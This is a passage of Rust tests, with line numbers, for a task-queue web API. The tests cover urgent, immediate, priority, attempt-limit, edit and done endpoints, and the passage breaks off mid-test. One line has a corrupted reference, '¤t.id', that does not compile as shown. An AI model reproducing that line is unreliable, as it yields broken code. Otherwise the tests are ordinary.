18500 "a release must clear the reason so the next hold does not inherit it"
18501 );
18502 }
18503
18504 #[test]
18505 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18506 for urgent in [true, false] {
18507 let body: UrgentBody =
18508 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18509 assert_eq!(body.urgent, urgent);
18510 }
18511 for input in [
18512 r#"{}"#,
18513 r#"{"urgent":null}"#,
18514 r#"{"urgent":"true"}"#,
18515 r#"{"urgent":1}"#,
18516 r#"{"urgent":true,"extra":false}"#,
18517 ] {
18518 assert!(
18519 serde_json::from_str::<UrgentBody>(input).is_err(),
18520 "{input}"
18521 );
18522 }
18523 }
18524
18525 #[tokio::test]
18526 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18527 let home = TempDir::new().unwrap();
18528 let q = Queue::at(home.path().join("queue"));
18529 let ui = Arc::new(Ui::new(
18530 q.clone(),
18531 Questions::at(home.path().join("questions")),
18532 Talks::at(home.path().join("talks")),
18533 home.path().join("runs"),
18534 home.path().into(),
18535 home.path().into(),
18536 ));
18537 let mut task = Task::new(
18538 "urgent handler".into(),
18539 "keep".into(),
18540 home.path().into(),
18541 Source::Human,
18542 );
18543 for status in [TaskStatus::Queued, TaskStatus::Held] {
18544 task.status = status;
18545 q.put(&mut task).unwrap();
18546 for urgent in [true, true, false, false] {
18547 let saved = queue_urgent(
18548 State(Arc::clone(&ui)),
18549 Path(task.short().into()),
18550 Ok(Json(UrgentBody { urgent })),
18551 )
18552 .await
18553 .unwrap();
18554 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18555 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18556 }
18557 }
18558 task.status = TaskStatus::Queued;
18559 q.put(&mut task).unwrap();
18560 let claim = q.claim(&task.id).unwrap();
18561 let error = queue_urgent(
18562 State(Arc::clone(&ui)),
18563 Path(task.id.clone()),
18564 Ok(Json(UrgentBody { urgent: true })),
18565 )
18566 .await
18567 .unwrap_err();
18568 assert_eq!(error.status, StatusCode::CONFLICT);
18569 assert!(error.message.contains("released"));
18570 drop(claim);
18571 for status in [
18572 TaskStatus::Running,
18573 TaskStatus::Done,
18574 TaskStatus::Failed,
18575 TaskStatus::Blocked,
18576 TaskStatus::Parked,
18577 ] {
18578 task.status = status;
18579 q.put(&mut task).unwrap();
18580 let error = queue_urgent(
18581 State(Arc::clone(&ui)),
18582 Path(task.id.clone()),
18583 Ok(Json(UrgentBody { urgent: false })),
18584 )
18585 .await
18586 .unwrap_err();
18587 assert_eq!(error.status, StatusCode::BAD_REQUEST);
18588 assert!(error.message.contains(status.as_str()));
18589 }
18590 }
18591
18592 #[tokio::test]
18593 async fn urgent_api_updates_preserves_and_validates_tasks() {
18594 let f = Fixture::start().await;
18595 let q = f.queue();
18596 let mut t = Task::new(
18597 "urgent API".into(),
18598 "unchanged".into(),
18599 PathBuf::from("/repo/magi"),
18600 Source::Human,
18601 );
18602 t.attempts = 2;
18603 t.priority = 9;
18604 t.interrupt = true;
18605 t.hold_reason = Some("waiting for approval".into());
18606 for status in [TaskStatus::Queued, TaskStatus::Held] {
18607 t.status = status;
18608 q.put(&mut t).unwrap();
18609 for urgent in [true, true, false, false] {
18610 let response = f
18611 .post(
18612 &format!("/api/queue/{}/urgent", t.short()),
18613 Some(&format!("{{\"urgent\":{urgent}}}")),
18614 )
18615 .await;
18616 assert_eq!(response.status, 200, "{}", response.body);
18617 assert_eq!(response.json()["urgent"], urgent);
18618 let saved = q.get(&t.id).unwrap();
18619 let mut before = serde_json::to_value(&t).unwrap();
18620 let mut after = serde_json::to_value(saved).unwrap();
18621 before["urgent"] = urgent.into();
18622 before.as_object_mut().unwrap().remove("updated_at");
18623 after.as_object_mut().unwrap().remove("updated_at");
18624 assert_eq!(after, before);
18625 }
18626 }
18627 let route = format!("/api/queue/{}/urgent", t.id);
18628 for body in [
18629 r#"{}"#,
18630 r#"{"urgent":null}"#,
18631 r#"{"urgent":"true"}"#,
18632 r#"{"urgent":1}"#,
18633 r#"{"urgent":true,"extra":false}"#,
18634 "{",
18635 ] {
18636 assert_eq!(f.post(&route, Some(body)).await.status, 400);
18637 }
18638 t.status = TaskStatus::Queued;
18639 q.put(&mut t).unwrap();
18640 let claim = q.claim(&t.id).unwrap();
18641 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18642 assert_eq!(response.status, 409, "{}", response.body);
18643 assert!(!q.get(&t.id).unwrap().urgent);
18644 drop(claim);
18645 for status in [
18646 TaskStatus::Running,
18647 TaskStatus::Done,
18648 TaskStatus::Failed,
18649 TaskStatus::Blocked,
18650 TaskStatus::Parked,
18651 ] {
18652 t.status = status;
18653 q.put(&mut t).unwrap();
18654 for urgent in [true, false] {
18655 let response = f
18656 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18657 .await;
18658 assert_eq!(response.status, 400, "{}", response.body);
18659 assert!(response.body.contains(status.as_str()));
18660 assert!(response.body.contains("queued or held"));
18661 assert!(!q.get(&t.id).unwrap().urgent);
18662 }
18663 }
18664 assert_eq!(
18665 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18666 .await
18667 .status,
18668 404
18669 );
18670 }
18671
18672 #[test]
18673 fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18674 for immediate in [true, false] {
18675 let body: ImmediateBody =
18676 serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18677 assert_eq!(body.immediate, immediate);
18678 }
18679 for input in [
18680 r#"{}"#,
18681 r#"{"immediate":null}"#,
18682 r#"{"immediate":"true"}"#,
18683 r#"{"immediate":1}"#,
18684 r#"{"immediate":true,"extra":false}"#,
18685 ] {
18686 assert!(
18687 serde_json::from_str::<ImmediateBody>(input).is_err(),
18688 "{input}"
18689 );
18690 }
18691 }
18692
18693 #[tokio::test]
18694 async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18695 let f = Fixture::start().await;
18696 let q = f.queue();
18697 let mut t = Task::new(
18698 "immediate API".into(),
18699 "unchanged".into(),
18700 PathBuf::from("/repo/magi"),
18701 Source::Human,
18702 );
18703 t.attempts = 2;
18704 t.priority = 9;
18705 t.interrupt = true;
18706 t.urgent = true;
18707 t.hold_reason = Some("waiting for approval".into());
18708 for status in [TaskStatus::Queued, TaskStatus::Held] {
18709 t.status = status;
18710 q.put(&mut t).unwrap();
18711 for immediate in [true, true, false, false] {
18712 let response = f
18713 .post(
18714 &format!("/api/queue/{}/immediate", t.short()),
18715 Some(&format!("{{\"immediate\":{immediate}}}")),
18716 )
18717 .await;
18718 assert_eq!(response.status, 200, "{}", response.body);
18719 let payload = response.json();
18720 assert_eq!(payload["immediate"], immediate);
18721 assert_eq!(payload["urgent"], true);
18722 if immediate {
18723 assert_eq!(payload["admission"]["mode"], "immediate");
18724 let label = payload["admission"]["label"].as_str().unwrap_or_default();
18725 assert!(
18726 !label.contains("claimed by another process"),
18727 "mutate must drop its claim before computing admission: {payload}"
18728 );
18729 if status == TaskStatus::Held {
18730 assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18731 }
18732 }
18733 let saved = q.get(&t.id).unwrap();
18734 let mut before = serde_json::to_value(&t).unwrap();
18735 let mut after = serde_json::to_value(saved).unwrap();
18736 before["immediate"] = immediate.into();
18737 before.as_object_mut().unwrap().remove("updated_at");
18738 after.as_object_mut().unwrap().remove("updated_at");
18739 assert_eq!(after, before);
18740 }
18741 }
18742 let route = format!("/api/queue/{}/immediate", t.id);
18743 for body in [
18744 r#"{}"#,
18745 r#"{"immediate":null}"#,
18746 r#"{"immediate":"true"}"#,
18747 r#"{"immediate":1}"#,
18748 r#"{"immediate":true,"extra":false}"#,
18749 "{",
18750 ] {
18751 assert_eq!(f.post(&route, Some(body)).await.status, 400);
18752 }
18753 t.status = TaskStatus::Queued;
18754 q.put(&mut t).unwrap();
18755 let claim = q.claim(&t.id).unwrap();
18756 let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18757 assert_eq!(response.status, 409, "{}", response.body);
18758 assert!(!q.get(&t.id).unwrap().immediate);
18759 drop(claim);
18760 for status in [
18761 TaskStatus::Running,
18762 TaskStatus::Done,
18763 TaskStatus::Failed,
18764 TaskStatus::Blocked,
18765 TaskStatus::Parked,
18766 ] {
18767 t.status = status;
18768 q.put(&mut t).unwrap();
18769 for immediate in [true, false] {
18770 let response = f
18771 .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18772 .await;
18773 assert_eq!(response.status, 400, "{}", response.body);
18774 assert!(response.body.contains(status.as_str()));
18775 assert!(response.body.contains("queued or held"));
18776 assert!(!q.get(&t.id).unwrap().immediate);
18777 }
18778 }
18779 assert_eq!(
18780 f.post(
18781 "/api/queue/missing/immediate",
18782 Some(r#"{"immediate":true}"#)
18783 )
18784 .await
18785 .status,
18786 404
18787 );
18788 }
18789
18790 #[tokio::test]
18791 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18792 let f = Fixture::start().await;
18793 let queue = f.queue();
18794 let mut older = Task::new(
18795 "filed first".to_owned(),
18796 "x".to_owned(),
18797 PathBuf::from("/repo/magi"),
18798 Source::Human,
18799 );
18800 older.id = "20260101-000001-aaaa".to_owned();
18801 let mut newer = Task::new(
18802 "filed second".to_owned(),
18803 "x".to_owned(),
18804 PathBuf::from("/repo/magi"),
18805 Source::Human,
18806 );
18807 newer.id = "20260101-000002-bbbb".to_owned();
18808 queue.put(&mut older).expect("file older");
18809 queue.put(&mut newer).expect("file newer");
18810
18811 let before = f.get("/api/queue").await.json();
18814 assert_eq!(before[0]["id"], newer.id);
18815 assert_eq!(before[1]["id"], older.id);
18816
18817 let raised = f
18821 .post(
18822 &format!("/api/queue/{}/priority", older.id),
18823 Some(r#"{"priority":10}"#),
18824 )
18825 .await;
18826 assert_eq!(raised.status, 200, "{}", raised.body);
18827 assert_eq!(raised.json()["priority"], 10);
18828
18829 let after = f.get("/api/queue").await.json();
18830 let names: Vec<&str> = after
18831 .as_array()
18832 .unwrap()
18833 .iter()
18834 .map(|t| t["id"].as_str().unwrap())
18835 .collect();
18836 assert_eq!(names[0], older.id, "the raised task now sorts first");
18840 }
18841
18842 #[tokio::test]
18843 async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18844 let f = Fixture::start().await;
18845 let queue = f.queue();
18846 let mut tasks = Vec::new();
18847 for id in [
18848 "20260101-000001-aaaa",
18849 "20260101-000002-bbbb",
18850 "20260101-000003-cccc",
18851 ] {
18852 let mut task = Task::new(
18853 id.into(),
18854 "x".into(),
18855 PathBuf::from("/repo/magi"),
18856 Source::Human,
18857 );
18858 task.id = id.into();
18859 queue.put(&mut task).unwrap();
18860 tasks.push(task);
18861 }
18862 assert_eq!(
18863 queue.next_runnable().unwrap().id,
18864 tasks[0].id,
18865 "equal priorities use ascending id"
18866 );
18867 let route = format!("/api/queue/{}/priority", tasks[2].id);
18868 assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18869 assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18870 tasks[1].start("upgrade-run".into());
18871 tasks[1].park("upgrade");
18872 tasks[1].record_pass_at(
18873 "upgrade-run",
18874 0,
18875 Some("2026-01-01T00:00:00Z".parse().unwrap()),
18876 1,
18877 Some(crate::run::ParkCause::Upgrade {
18878 from: "old".into(),
18879 to: None,
18880 }),
18881 );
18882 queue.put(&mut tasks[1]).unwrap();
18883 let rows = f.get("/api/queue").await.json();
18884 let upgrade = rows
18885 .as_array()
18886 .unwrap()
18887 .iter()
18888 .find(|row| row["id"] == tasks[1].id)
18889 .unwrap();
18890 assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18891 assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18892 tasks[2] = queue.get(&tasks[2].id).unwrap();
18893 tasks[2].start("running-run".into());
18894 queue.put(&mut tasks[2]).unwrap();
18895 assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18896 assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18897 }
18898
18899 #[tokio::test]
18900 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18901 let dir = TempDir::new().unwrap();
18902 let q = Queue::at(dir.path().join("queue"));
18903 let ui = Arc::new(Ui::new(
18904 q.clone(),
18905 Questions::at(dir.path().join("questions")),
18906 Talks::at(dir.path().join("talks")),
18907 dir.path().join("runs"),
18908 dir.path().to_path_buf(),
18909 dir.path().to_path_buf(),
18910 ));
18911 let mut t = Task::new(
18912 "budget".into(),
18913 "keep".into(),
18914 dir.path().into(),
18915 Source::Human,
18916 );
18917 t.attempts = 2;
18918 t.runs.push("prior-run".into());
18919 t.hold_manual(Some("waiting".into()));
18920 q.put(&mut t).unwrap();
18921 let change = |value| {
18922 queue_attempt_limit(
18923 State(ui.clone()),
18924 Path(t.id.clone()),
18925 Ok(Json(AttemptLimitBody {
18926 attempt_limit: value,
18927 })),
18928 )
18929 };
18930 for value in [
18931 serde_json::json!(3),
18932 serde_json::Value::Null,
18933 serde_json::json!(1),
18934 ] {
18935 let response = change(value.clone()).await.unwrap();
18936 assert_eq!(
18937 serde_json::to_value(response.0).unwrap()["attempt_limit"],
18938 value
18939 );
18940 let saved = q.get(&t.id).unwrap();
18941 assert_eq!(
18942 serde_json::to_value(&saved).unwrap()["attempt_limit"],
18943 value
18944 );
18945 assert_eq!(saved.status, TaskStatus::Held);
18946 assert_eq!(saved.attempts, t.attempts);
18947 assert_eq!(saved.runs, t.runs);
18948 assert_eq!(saved.hold_reason, t.hold_reason);
18949 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18950 .await
18951 .unwrap()
18952 .0;
18953 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18954 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18955 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18956 assert_eq!(outcome.max_attempts, detail.max_attempts);
18957 }
18958 for value in [
18959 serde_json::json!(0),
18960 serde_json::json!(-1),
18961 serde_json::json!(1.5),
18962 serde_json::json!("3"),
18963 serde_json::json!(true),
18964 ] {
18965 assert_eq!(
18966 change(value).await.err().unwrap().status,
18967 StatusCode::BAD_REQUEST
18968 );
18969 }
18970 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18971 let claim = q.claim(&t.id).unwrap();
18972 assert_eq!(
18973 change(serde_json::json!(4)).await.err().unwrap().status,
18974 StatusCode::CONFLICT
18975 );
18976 drop(claim);
18977 for status in [
18978 TaskStatus::Running,
18979 TaskStatus::Done,
18980 TaskStatus::Failed,
18981 TaskStatus::Blocked,
18982 TaskStatus::Parked,
18983 ] {
18984 let mut stored = q.get(&t.id).unwrap();
18985 stored.status = status;
18986 q.put(&mut stored).unwrap();
18987 assert_eq!(
18988 change(serde_json::json!(4)).await.err().unwrap().status,
18989 StatusCode::BAD_REQUEST
18990 );
18991 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18992 }
18993 let mut stored = q.get(&t.id).unwrap();
18994 stored.status = TaskStatus::Queued;
18995 q.put(&mut stored).unwrap();
18996 let _ = change(serde_json::Value::Null).await.unwrap();
18997 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18998 }
18999
19000 #[tokio::test]
19001 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
19002 let dir = TempDir::new().unwrap();
19003 let repo = dir.path().join("repo");
19004 std::fs::create_dir(&repo).unwrap();
19005 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
19006 let q = Queue::at(dir.path().join("queue"));
19007 let ui = Arc::new(Ui::new(
19008 q.clone(),
19009 Questions::at(dir.path().join("questions")),
19010 Talks::at(dir.path().join("talks")),
19011 dir.path().join("runs"),
19012 dir.path().to_path_buf(),
19013 repo.clone(),
19014 ));
19015 let mut t = Task::new(
19016 "seats".into(),
19017 "keep instruction".into(),
19018 repo,
19019 Source::Human,
19020 );
19021 t.runs.push("prior-run".into());
19022 t.hold_manual(Some("waiting".into()));
19023 q.put(&mut t).unwrap();
19024 let change = |count| {
19025 queue_implementers(
19026 State(ui.clone()),
19027 Path(t.id.clone()),
19028 Ok(Json(ImplementersBody {
19029 implementers: count,
19030 })),
19031 )
19032 };
19033 for count in [2, 1, 2] {
19034 let response = change(count).await.unwrap();
19035 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19036 let saved = q.get(&t.id).unwrap();
19037 assert_eq!(saved.implementers(), Some(usize::from(count)));
19038 assert_eq!(saved.runs, t.runs);
19039 assert_eq!(saved.instruction, t.instruction);
19040 }
19041 for count in [0, 4] {
19042 assert_eq!(
19043 change(count).await.err().unwrap().status,
19044 StatusCode::BAD_REQUEST
19045 );
19046 }
19047 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19048 let claim = q.claim(&t.id).unwrap();
19049 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19050 drop(claim);
19051 for status in [
19052 TaskStatus::Running,
19053 TaskStatus::Done,
19054 TaskStatus::Failed,
19055 TaskStatus::Blocked,
19056 TaskStatus::Parked,
19057 ] {
19058 let mut stored = q.get(&t.id).unwrap();
19059 stored.status = status;
19060 q.put(&mut stored).unwrap();
19061 assert_eq!(
19062 change(1).await.err().unwrap().status,
19063 StatusCode::BAD_REQUEST
19064 );
19065 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19066 }
19067 }
19068
19069 #[tokio::test]
19070 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19071 let f = Fixture::start().await;
19072 let queue = f.queue();
19073 let mut task = Task::new(
19074 "in flight".to_owned(),
19075 "x".to_owned(),
19076 PathBuf::from("/repo/magi"),
19077 Source::Human,
19078 );
19079 task.start("20260902-140502-bbbb".to_owned());
19080 queue.put(&mut task).expect("file the task");
19081
19082 let res = f
19083 .post(
19084 &format!("/api/queue/{}/priority", task.id),
19085 Some(r#"{"priority":9}"#),
19086 )
19087 .await;
19088 assert_eq!(res.status, 400, "{}", res.body);
19089 assert!(
19090 res.json()["error"]
19091 .as_str()
19092 .is_some_and(|e| e.contains("running")),
19093 "{}",
19094 res.body
19095 );
19096 assert_eq!(
19097 queue.get(&task.id).expect("reload").priority,
19098 0,
19099 "the refused write must not partially apply"
19100 );
19101 }
19102
19103 #[tokio::test]
19104 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19105 let f = Fixture::start().await;
19106 let queue = f.queue();
19107 let mut task = Task::new(
19108 "old title".to_owned(),
19109 "old instruction".to_owned(),
19110 PathBuf::from("/repo/magi"),
19111 Source::Agent {
19112 run: "20260101-000000-beef".to_owned(),
19113 node: "implement".to_owned(),
19114 },
19115 );
19116 task.runs.push("20260101-000000-beef".to_owned());
19117 queue.put(&mut task).expect("file the task");
19118 let created_at = task.created_at;
19119
19120 let edited = f
19121 .post(
19122 &format!("/api/queue/{}/edit", task.id),
19123 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19124 )
19125 .await;
19126 assert_eq!(edited.status, 200, "{}", edited.body);
19127 let body = edited.json();
19128 assert_eq!(body["title"], "new title");
19129 assert_eq!(body["instruction"], "new instruction");
19130 assert_eq!(body["id"], task.id, "editing must not mint a new id");
19131 assert_eq!(body["created_at"], created_at.to_string());
19132 assert_eq!(
19133 body["source"]["kind"], "agent",
19134 "editing a task an agent filed must not turn it human: {body}"
19135 );
19136 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19137
19138 let reloaded = queue.get(&task.id).expect("reload");
19139 assert_eq!(reloaded.title, "new title");
19140 assert_eq!(reloaded.instruction, "new instruction");
19141 }
19142
19143 #[tokio::test]
19144 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19145 let tmp = TempDir::new().expect("tempdir");
19148 let repo = tmp.path().join("repo");
19149 std::fs::create_dir_all(&repo).expect("repo dir");
19150 let judge = MOCK_AGENT_TOML.replace(
19151 "printf ok",
19152 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19153 );
19154 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19155 let f = Fixture::with_repo(repo.clone()).await;
19156 let queue = f.queue();
19157 let mut owner = Task::new(
19158 "owner".to_owned(),
19159 "review it".to_owned(),
19160 repo.clone(),
19161 Source::Human,
19162 );
19163 owner.review_branch = Some("magi/ab12/A".to_owned());
19164 queue.put(&mut owner).expect("file the owner");
19165 let mut task = Task::new(
19166 "draft".to_owned(),
19167 "old".to_owned(),
19168 repo.clone(),
19169 Source::Human,
19170 );
19171 queue.put(&mut task).expect("file the draft");
19172 let url = format!("/api/queue/{}/edit", task.id);
19173
19174 let refused = f
19175 .post(
19176 &url,
19177 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19178 )
19179 .await;
19180 assert_eq!(refused.status, 409, "{}", refused.body);
19181 let msg = refused.json()["error"]
19182 .as_str()
19183 .unwrap_or_default()
19184 .to_owned();
19185 assert!(
19186 msg.contains("magi/ab12/A") && msg.contains("force"),
19187 "{msg}"
19188 );
19189 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19190
19191 let forced = f
19192 .post(
19193 &url,
19194 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19195 )
19196 .await;
19197 assert_eq!(forced.status, 200, "{}", forced.body);
19198 }
19199
19200 #[tokio::test]
19201 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19202 let f = Fixture::start().await;
19203 let queue = f.queue();
19204 let mut task = Task::new(
19205 "in flight".to_owned(),
19206 "do not touch".to_owned(),
19207 PathBuf::from("/repo/magi"),
19208 Source::Human,
19209 );
19210 task.start("20260902-140502-bbbb".to_owned());
19211 queue.put(&mut task).expect("file the task");
19212
19213 let res = f
19214 .post(
19215 &format!("/api/queue/{}/edit", task.id),
19216 Some(r#"{"title":"x","instruction":"y"}"#),
19217 )
19218 .await;
19219 assert_eq!(res.status, 400, "{}", res.body);
19220 assert!(
19221 res.json()["error"]
19222 .as_str()
19223 .is_some_and(|e| e.contains("running")),
19224 "{}",
19225 res.body
19226 );
19227 assert_eq!(
19228 queue.get(&task.id).expect("reload").instruction,
19229 "do not touch",
19230 "the refused edit must not change the file"
19231 );
19232 }
19233
19234 #[tokio::test]
19235 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19236 let f = Fixture::start().await;
19237 let queue = f.queue();
19238 let mut task = Task::new(
19239 "busy".to_owned(),
19240 "Running right now".to_owned(),
19241 PathBuf::from("/repo/magi"),
19242 Source::Human,
19243 );
19244 queue.put(&mut task).expect("file the task");
19245 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19246
19247 let priority = f
19248 .post(
19249 &format!("/api/queue/{}/priority", task.id),
19250 Some(r#"{"priority":9}"#),
19251 )
19252 .await;
19253 assert_eq!(priority.status, 409, "{}", priority.body);
19254
19255 let edit = f
19256 .post(
19257 &format!("/api/queue/{}/edit", task.id),
19258 Some(r#"{"title":"x","instruction":"y"}"#),
19259 )
19260 .await;
19261 assert_eq!(edit.status, 409, "{}", edit.body);
19262 }
19263
19264 #[tokio::test]
19265 async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19266 let f = Fixture::start().await;
19267 let queue = f.queue();
19268 let mut task = Task::new(
19269 "claimed".into(),
19270 "leave unchanged".into(),
19271 f.home.path().into(),
19272 Source::Human,
19273 );
19274 queue.put(&mut task).unwrap();
19275 let _claim = queue.claim(&task.id).unwrap();
19276 for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19277 let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19278 assert_eq!(missing.status, 404, "{}", missing.body);
19279 assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19280
19281 let busy = f
19282 .post(&format!("/api/queue/{}/{action}", task.short()), body)
19283 .await;
19284 assert_eq!(busy.status, 409, "{}", busy.body);
19285 assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19286 }
19287 let unchanged = queue.get(&task.id).unwrap();
19288 assert_eq!(unchanged.status, TaskStatus::Queued);
19289 assert!(unchanged.completion_history.is_empty());
19290 }
19291
19292 #[test]
19293 fn web_completion_reports_a_stale_commit_as_a_conflict() {
19294 let home = TempDir::new().unwrap();
19295 let queue = Queue::at(home.path().join("queue"));
19296 let mut current = Task::new(
19297 "stale".into(),
19298 "original".into(),
19299 home.path().into(),
19300 Source::Human,
19301 );
19302 queue.put(&mut current).unwrap();
19303 let expected = current.clone();
19304 current.instruction = "updated".into();
19305 queue.put(&mut current).unwrap();
19306
19307 let mut decision = expected.clone();
19308 decision.status = TaskStatus::Done;
19309 let error = queue
19310 .commit_completion(&mut decision, &expected)
19311 .unwrap_err();
19312 assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19313 let saved = queue.get(¤t.id).unwrap();
19314 assert_eq!(saved.status, TaskStatus::Queued);
19315 assert_eq!(saved.instruction, "updated");
19316 }
19317
19318 #[tokio::test]
19319 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19320 let f = Fixture::start().await;
19321 let queue = f.queue();
19322 let mut task = Task::new(
19323 "shipped by hand".to_owned(),
19324 "merged outside the loop".to_owned(),
19325 PathBuf::from("/repo/magi"),
19326 Source::Agent {
19327 run: "20260101-000000-b455".to_owned(),
19328 node: "implement".to_owned(),
19329 },
19330 );
19331 task.runs.push("20260101-000000-b455".to_owned());
19332 task.runs.push("20260101-000000-9af4".to_owned());
19333 queue.put(&mut task).expect("file the task");
19334 let created_at = task.created_at;
19335
19336 let done = f
19337 .post(
19338 &format!("/api/queue/{}/done", task.id),
19339 Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19340 )
19341 .await;
19342 assert_eq!(done.status, 200, "{}", done.body);
19343 assert_eq!(done.json()["status_str"], "done");
19344
19345 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19346 assert_eq!(
19347 reloaded.runs,
19348 ["20260101-000000-b455", "20260101-000000-9af4"]
19349 );
19350 assert_eq!(
19351 reloaded.source,
19352 Source::Agent {
19353 run: "20260101-000000-b455".to_owned(),
19354 node: "implement".to_owned(),
19355 }
19356 );
19357 assert_eq!(reloaded.created_at, created_at);
19358 let event = reloaded
19359 .completion_history
19360 .last()
19361 .expect("completion audit");
19362 assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19363 assert!(event.discard);
19364 assert_eq!(
19365 event.reason.as_deref(),
19366 Some("owner cancelled retained work")
19367 );
19368 let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19369 assert_eq!(
19370 detail.json()["completion_history"][0]["occurrence"],
19371 event.occurrence
19372 );
19373 }
19374
19375 #[tokio::test]
19376 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19377 let f = Fixture::start().await;
19380 let queue = f.queue();
19381 let mut task = Task::new(
19382 "landed while held".to_owned(),
19383 "x".to_owned(),
19384 PathBuf::from("/repo/magi"),
19385 Source::Human,
19386 );
19387 task.hold_manual(Some("waiting on 3ed9".to_owned()));
19388 queue.put(&mut task).expect("file the held task");
19389
19390 let done = f
19391 .post(
19392 &format!("/api/queue/{}/done", task.id),
19393 Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19394 )
19395 .await;
19396 assert_eq!(done.status, 200, "{}", done.body);
19397 assert_eq!(done.json()["status_str"], "done");
19398 assert!(
19399 done.json()["hold_reason"].is_null(),
19400 "a done task cannot still be waiting on something: {}",
19401 done.body
19402 );
19403 }
19404
19405 #[tokio::test]
19406 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19407 let f = Fixture::start().await;
19412 let queue = f.queue();
19413 let runs = f.runs();
19414 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19415 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19419
19420 let mut task = Task::new(
19421 "landed by hand".to_owned(),
19422 "x".to_owned(),
19423 PathBuf::from("/repo/magi"),
19424 Source::Human,
19425 );
19426 task.runs.push("20260101-000000-doa1".to_owned());
19427 task.runs.push("20260101-000000-doa2".to_owned());
19428 let mut landed = read_run(&runs, "20260101-000000-doa2").unwrap();
19429 landed.task_instruction = Some(task.instruction.clone());
19430 landed.task_instruction_rev = Some(task.instruction_rev);
19431 landed.merge = Some(crate::run::MergeOutcome {
19432 mode: crate::config::MergeMode::Pr,
19433 ok: true,
19434 detail: "confirmed merge".into(),
19435 empty: false,
19436 });
19437 write_state(&runs, &landed);
19438 queue.put(&mut task).expect("file the task");
19439
19440 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19441 assert_eq!(done.status, 200, "{}", done.body);
19442
19443 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19444 .expect("run still on disk under this fixture's own home");
19445 assert_eq!(
19446 reloaded_run.status,
19447 RunStatus::Superseded,
19448 "closing the task by hand must relabel the earlier blocked attempt exactly \
19449 like the loop's own settle path does"
19450 );
19451 }
19452
19453 #[tokio::test]
19454 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19455 let f = Fixture::start().await;
19458 let queue = f.queue();
19459 let runs = f.runs();
19460 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19461 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19462
19463 let mut task = Task::new(
19464 "closed with nothing actually landed".to_owned(),
19465 "x".to_owned(),
19466 PathBuf::from("/repo/magi"),
19467 Source::Human,
19468 );
19469 task.runs.push("20260101-000000-dob1".to_owned());
19470 task.runs.push("20260101-000000-dob2".to_owned());
19471 queue.put(&mut task).expect("file the task");
19472
19473 let done = f
